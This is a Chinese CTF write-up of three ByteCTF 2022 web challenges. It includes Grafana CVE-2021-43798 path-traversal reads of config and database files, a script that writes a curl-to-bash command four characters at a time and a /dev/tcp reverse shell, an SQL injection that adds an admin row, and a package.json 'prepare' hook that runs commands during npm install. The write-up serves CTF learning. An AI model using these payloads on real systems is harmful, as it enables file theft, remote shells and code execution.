这次bytectf感觉不是特别坐牢,至少对一些题目有了一些思路,这也算是一种进步吧,最后我们的排名还不错,这更值得高兴了(啊,我的周边

easy_grafana

第二次见到grafana了,这一次的貌似比上一次的star ctf的grafana的题目要简单一点

版本是v8.2.6看一下还有没有cve?

有的,Grafana 8.2.6依然还是受 CVE-2021-43798 的影响

甩个链接:https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

https://cloud.tencent.com/developer/article/1973276

主要的漏洞是任意文件读取敏感信息(文件)的漏洞,当然重点应该是一些配置文件

根据上面的文章,可以先读取grafana.ini

1
/public/plugins/bargauge/#/../../../../../../../../../../../../../../etc/grafana/grafana.ini

获取grafana的secret_key SW2YcwTIb9zpO1hoPsMm

再读取数据库grafana.db文件

1
/public/plugins/bargauge/#/../../../../../../../../../../../../../../var/lib/grafana/grafana.db

获取数据源密文 b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/

这里有个比较好用的工具GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability

解出其中的plaintext即为flag

这里注意一个问题:在路径的拼接当中,有可能需要多几个../不然可能是404(可以不对其进行urlencode),同时,#是不能少的(在这道配置了openresty反向代理的题目环境当中,这和绕过限制相关)

图片.png

https://xz.aliyun.com/t/4577

typing_game

这道题我和两个学长一起做出来的,花了不少时间

查看源码的关键部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
app.get("/status",function(req,res,next){
var cmd= req.query.cmd? req.query.cmd:"ps"
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
const result = child_process.spawnSync(cmd,{shell:true});
out = result.stdout.toString();
res.send(out)
})


app.get('/report', async function(req, res){
const url = req.query.url;
var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
}
ipsList.set(rip,now());
const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
const page = await browser.newPage();
try{
await page.goto(url,{
timeout: 10000
});
await new Promise(resolve => setTimeout(resolve, 10e3));
} catch(e){

}
await page.close();
await browser.close();
res.send("OK");
});

/status 下可以执行 shell 指令,但是限制指令长度不超过 4

/report 下可以让 pupperteer 去访问某个 url

默认访问/status回显hacker,一开始想的是修改X-Real-IP的值为127.0.0.1满足ip.isPrivate的条件,但是发现不行,我去查了一下nodejs的ip包的属性,结果发现127.0.0.1是满足ip.isPrivate的,猜测可能是要利用pupperteer去访问/status路由(这里的pupperteer应该是配置了反向代理)然后以此种方式来执行命令/report?url=http://127.0.0.1:13002/status?cmd=ls

在本地测试了一下(本地无代理配置),是可以行的通的,但是这里有cmd.length <= 4的限制条件

如果是绕过执行命令的话,那应该可以想个方法把回显结果带到自己的服务器上,这里采用的思路是反弹shell

有2个长度绕过上的坑点:1.长度如果传入的cmd参数是个数组是可以绕过长度限制的,但是命令也不会被执行了

2.绕过长度是可以传入object对象的,但是应该是因为req.query存在,导致参数值被转义为字符串了,实际的返回值是这个参数的字符长度

图片.png

最后我们得出了一个结论:应该多次向一个文件里面一点一点写入命令,然后再执行这个文件。

参考HitconCTF2017 BabyFirst Revenge v2的exp

https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge-v2

HITCON CTF 2017 BabyFirst Revenge and v2 writeup | 闲言语 (ret2neo.cn)

考点是限制命令长度的绕过,这里有一些文章,可供参考

挖洞经验 | 命令注入突破长度限制_ProjectDer的博客-CSDN博客

命令注入突破长度限制 | 从CTF题目讲起_纸房子的博客-CSDN博客

其中,exp当中的ls -th命令为以更好的可视化方式,同时以时间的顺序来列举文件名(顺序是先进后出)

图片.png

这个命令需要做一些翻转的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
from time import sleep
baseurl = "https://d2e72456fb6ca16c13a56bfadc29c769.2022.capturetheflag.fun/report?url=localhost:13002/status?cmd="

s = requests.session()

list1 = [
'rm *',
# generate "g> ht- sl" to file "v"
# 这里rm * 的目的是防止当前目录存在的原有文件打乱命令执行的语句顺序
# 应该是因为某些特性,就算文件被删了,当前路径的js文件依然能被解析并访问
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
]

list2 = [
">sh",
">ba\\",
">\|\\",
">x\\",
">x\\",
">:8\\",
">x\\",
">x\\",
">x.\\",
">x\\",
">x.\\",
">x\\",
">x.\\",
">x\\",
">\ \\",
">rl\\",
">cu\\",
]

for i in list1:
url = baseurl + str(i)
res = s.get(url)
print(res.text)
sleep(35)

fot j in list2:
url = baseurl + str(j)
res = s.get(url)
print(res.text)
sleep(35)

s.get(basurl+"sh x")
sleep(35)
print("Get it")
s.get(baseurl+"sh g")
sleep(35)
print("Done")

在服务器python3 -m http.server 8888起一个server并且放一个内容为sh -i >& /dev/tcp/xx.xxx.xxx.xxx/7777 0>&1的exp,开启端口监听弹等shell弹过来就行

但是由于/report的时间限制,每一次的命令执行完毕到反弹shell前后需要20分钟左右的时间,而且每打完一次,由于rm *的存在导致文件都被删了,靶机的容器环境是需要重新开启的,我想,这道题应该有更优解

反弹完shell之后,发现没有flag的相关文件,猜测flag在环境变量当中

图片.png

ctf_cloud

给了源码,先从源码分析

一开始的界面是一个登录界面,尝试注册admin发现该用户已经存在了

从源码当中找到/login/signup的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
router.post('/signin', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;

if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});

if (!passwordCheck(password))
return res.json({"code" : -1 , "message" : "Password is not valid."});

db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (!row) {
return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
}
req.session.is_login = 1;
if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
req.session.is_admin = 1;
}
return res.json({"code" : 0, "message" : "Login successful"});
});

});

/* register */
router.post('/signup', function(req, res, next) {
var username = req.body.username;
var password = req.body.password;

if (username == '' || password == '')
return res.json({"code" : -1 , "message" : "Please input username and password."});

// check if username exists
db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query"});
}
if (row) {
console.log(row)
return res.json({"code" : -1 , "message" : "Username already exists"});
} else {
// in case of sql injection , I'll reset admin's password to a new random string every time.
var randomPassword = stringRandom(100);
db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});
// insert new user
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
db.run(sql, [username], function(err) {
if (err) {
console.log(err);
return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
}
return res.json({"code" : 0, "message" : "Sign up successful"});
});
}
});
});

同时还找到了黑名单

1
2
3
4
5
6
7
8
9
10
11
12
var passwordCheck = function (password) {
var blacklist = ['>', '<', '=', '"', ";", '^', '|', '&', ' ', 'and', 'or', 'case', 'if', 'substr', 'like', 'glob', 'regexp', 'mid', 'trim', 'right', 'left', 'between', 'in', 'print', 'format', 'password', 'users', 'from', 'random' ];
for (var i = 0; i < blacklist.length; i++) {
if (password.indexOf(blacklist[i]) !== -1) {
return false;
}
}
return true;
}


module.exports = passwordCheck;

passwordCheck被应用到了/login的password表单数据当中,经过尝试,虽然可以大小写混合绕过检查,但是它会报一个undefind的错误(可能是我浏览器的问题)

/login路由当中,普通的注入不能使得结果有所回显(其他的语句部分也不能回显),从db.sqlDockerfile当中可知字段名的值

一开始先考虑一些常用的注入方法,首先应该是排除报错盲注,因为代码当中会对err数据进行捕获,应该是不会将报错的常规回显数据显示给你看的。同时时间盲注和布尔盲注的话,由于过滤条件较为苛刻,所以可以考虑一些更加简单巧妙的方法(时间盲注的话sqlite没有sleep函数,有一个可以延时的函数randomblob(N)因为有random的过滤所以也不能用了,布尔盲注的话,选取字符的substr不能用了,水平有限,可以想想别的方法)

之后的想法是利用堆叠注入来修改管理员的密码,比如', 0);UPDATE users SET PASSWORD = '123' WHERE NAME = 'admin';#但是这个黑名单把in给ban掉了,这下这整条语句都被废掉了,此外,理论上分析来看,db.run应该是不能一次执行多条语句的,类似于db.exec的语句应该才可以

去翻了一下update语句的资料,发现需要指定where关键词的字段名的值,所以无论是否可以堆叠,上面的语句确实是废掉了

1
var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;

这里每次signup都会先重置管理员password然后执行sql语句

看了一下注册的sql执行语句,发现是可以插入多行数据的(注意sqlite数据库的注释符)

1
e9901', 0), ('admin', 'e99nb', 1);---

这样admin密码的随机值就被覆盖(或是叠加)为我们想要的值了(是因为在sql.db文件当中看到NAME字段是没有设定unique属性的,所以可以不唯一)

以admin的身份登录进去

面板(dashboard)有好几个功能:重置配置,上传配置,然后设置配置文件,最后编译(该功能需要管理员的权限,应该是最为关键的地方,比如以此来执行一些rce)

这里应该是通过配置来执行命令,从源码当中的信息可以得出应该上传json文件作为npm的package

那先重置一下配置

然后是上传配置,存在对路径的限制和上传的路径设置

1
2
3
4
5
6
if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
return res.json({"code" : -1 , "message" : "File name is not valid."});
}

// do upload
var filePath = path.join(appPath, '/public/uploads/', file.originalname);

上传json的时候可以考虑构造一个带有恶意命令的package文件

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"name": "pkg",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"prepare": "cat /flag / > /usr/local/app/public/c.txt"
},
"keywords": [],
"author": "",
"license": "ISC"
}

这里的prepare字段为我们执行npm编译的时候所执行的命令

图片.png

摘自https://www.ruanyifeng.com/blog/2016/10/npm_scripts.html

考虑到容器是不出网的,所以就不弹shell了,同时可以写到app的当前目录下

图片.png

不过,发现前端的文件上传出了点问题(就是以post的方式传文件但是失败了)可以用脚本来传一个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def uploadFile(url,file,filename="",contentType="text/plain"):
if filename == "":
filename = os.path.basename(file)
fp = open(file,"rb")
data = {
"file":(filename,fp,contentType)
}
headers = { "Cookie":"connect.sid=s%3Am0Zfl_vBiPyXkx7O70oEQ7Hif4QVIBj7.bwhOXvRVfdrhzPvu93N92YGfYKp8cFMMNxacLyE05XM"
}
res = requests.post(url,files=data,headers=headers)
fp.close()
return res

if __name__ == "__main__":
res = uploadFile("https://e8df69037d7c1017e8169ef76b9bb822.2022.capturetheflag.fun/dashboard/upload","package.json","package.json")
print(res.status_code,res.text)

接下来是设置配置(对应源码的dependencies字段)

1
{"dependencies":{"pkg": "file:./public/uploads"}}

图片.png

需要设置数据的类型为json数据类型

上传之后指定依赖文件(注意需要以json的post传参方法),然后编译,去访问/usr/local/app/public/c.txt看看能不能得到flag

尴尬,最后的编译过程怎么失败了,先这样吧……

后面还有一些题目,我之后再复现复现,贴到下一篇博客吧